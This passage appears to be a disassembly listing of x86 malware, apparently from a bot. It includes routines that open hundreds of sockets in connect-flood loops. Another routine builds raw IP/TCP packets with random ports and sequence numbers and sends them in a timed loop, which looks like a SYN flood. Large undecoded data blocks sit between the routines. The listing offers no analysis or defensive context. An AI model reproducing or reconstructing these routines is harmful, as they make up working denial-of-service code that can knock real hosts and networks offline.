		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax


loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CB6A415h, 0FFF88300h, 75FC4589h, 0B815FF5Fh
		dd 50004CB5h, 0FC44858Dh, 0DC68FFFFh, 50004362h, 8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0C9E85759h, 90022BD0h, 6AF44D8Dh,	0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CB60415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A83Co
		dd 15FF5D75h, 4CB5B8h, 44858D50h, 68FFFFFCh, 4362ACh, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 51E89057h, 8D022BD0h, 0FFFE4885h,	15FF50FFh
		dd 4CB664h, 75FFF883h, 44858D55h, 68FFFFFCh, 43628Ch, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 0CFEAE890h, 106A022Bh, 57E4458Dh,	856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0B62415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 6415FF50h, 8B004CB6h,	4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0E39805C6h
		dd 0FF45004Ch, 4CB62415h, 0D47D3900h, 0E39AA366h, 8966004Ch
		dd 4CE39C1Dh, 3D896600h, 4CE39Eh, 0E3A005C6h, 8880004Ch
		dd 4CE3A11Dh, 3D896600h, 4CE3A2h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 0A41D8901h, 5B004CE3h
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CB66415h
		dd 0E3A4A300h, 458B004Ch, 0E3A8A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CE3AC15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CE3ADh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CE3AE3Dh, 1D896600h, 4CE3B2h, 15896642h
		dd 4CE3B0h, 8795E8h, 0FFB99900h, 0F7000000h, 0B46852F9h
		dd 0E8004CE3h, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CE398h, 0FFFC75FFh, 4CB68815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0BC15FFFCh, 0FF004CB6h
		dd 4CB5B815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43624468h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h
		dd 0FF022BCEh, 15FFFC75h, 4CB6BCh, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4361F868h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 0E8905759h, 22BCD7Ch
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0AC15FF00h
		dd 89004CB5h, 858D0845h, 0FFFFFF40h, 6415FF50h,	8B004CB6h
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0A815FF50h
		dd 3B004CB6h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 3468FFFFh, 50004363h, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 2BCCBFE8h, 0C33B9002h, 408B0C74h, 8B008B0Ch,	0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CB53Ch, 0C0753B46h,	75FFDA7Ch, 0DC15FF08h, 8D004CB6h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 43630868h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0F1E85359h, 90022BCBh
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0AAE89000h
		dd 500226D8h, 8493E8h, 116A5900h, 26A026Ah, 0B6A415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CB664h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CB6A815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	8868FFFFh
		dd 50004363h, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Bh
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CB624h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CB68815h, 0D875FF00h, 0CF8FE890h
		dd 754E0225h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 2415FF52h, 66004CB6h, 0EBF24589h,	50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 5C68FFFFh, 50004363h,	82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 0C9DAE890h
		db 2Bh,	2
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 63B068FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 0C93EE856h, 5F90022Bh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB624
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		nop
		call	near ptr 2670535h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx


loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax


loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 4363DCh, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2BC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB594
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------


loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6C8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB604
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB624
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB624
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB624
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB624
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2770C01h
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 2770977h
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB624
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB624
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB620
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB624
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB688
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2770977h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------


loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CB5B8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_436404
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------


loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]


loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB6BC
		pop	esi


loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CB57C
		mov	eax, ebx


loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax


loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 6415FF50h, 50004CB6h
		dd 5DE8h, 50595900h, 0FC6C858Dh, 2468FFFFh, 50004364h
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E8905659h, 22BC3E8h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0B63815FFh, 75FF004Ch
		dd 0A815FFFCh, 8B004CB6h, 6A530C40h, 8B026A03h,	89008B00h
		dd 15FFF445h, 4CB6A4h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 415FFFCh, 0BE004CB6h, 200h, 77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B62415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 2415FF50h, 56004CB6h,	0E2458966h
		dd 0B62415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0B68815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB6BC15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CB6A4h
		dd 89FFF883h, 6675FC45h, 0B5B815FFh, 8D50004Ch,	0FFFBC085h
		dd 653C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 0C102E890h, 4D8D022Bh, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CB60415h, 0FFF88300h, 15FF6675h, 4CB5B8h
		dd 0C0858D50h, 68FFFFFBh, 436504h, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22BC084h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CB66415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 4364E468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 0E8905359h, 22BC014h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CB624h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CB66415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B62415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0B66415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 2415FFFFh
		dd 66004CB6h, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 2415FF52h, 68004CB6h, 12345678h, 0E8458966h,	0B62015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B250h, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42B088h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42B080h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CB624h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	2415FF06h
		dd 66004CB6h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
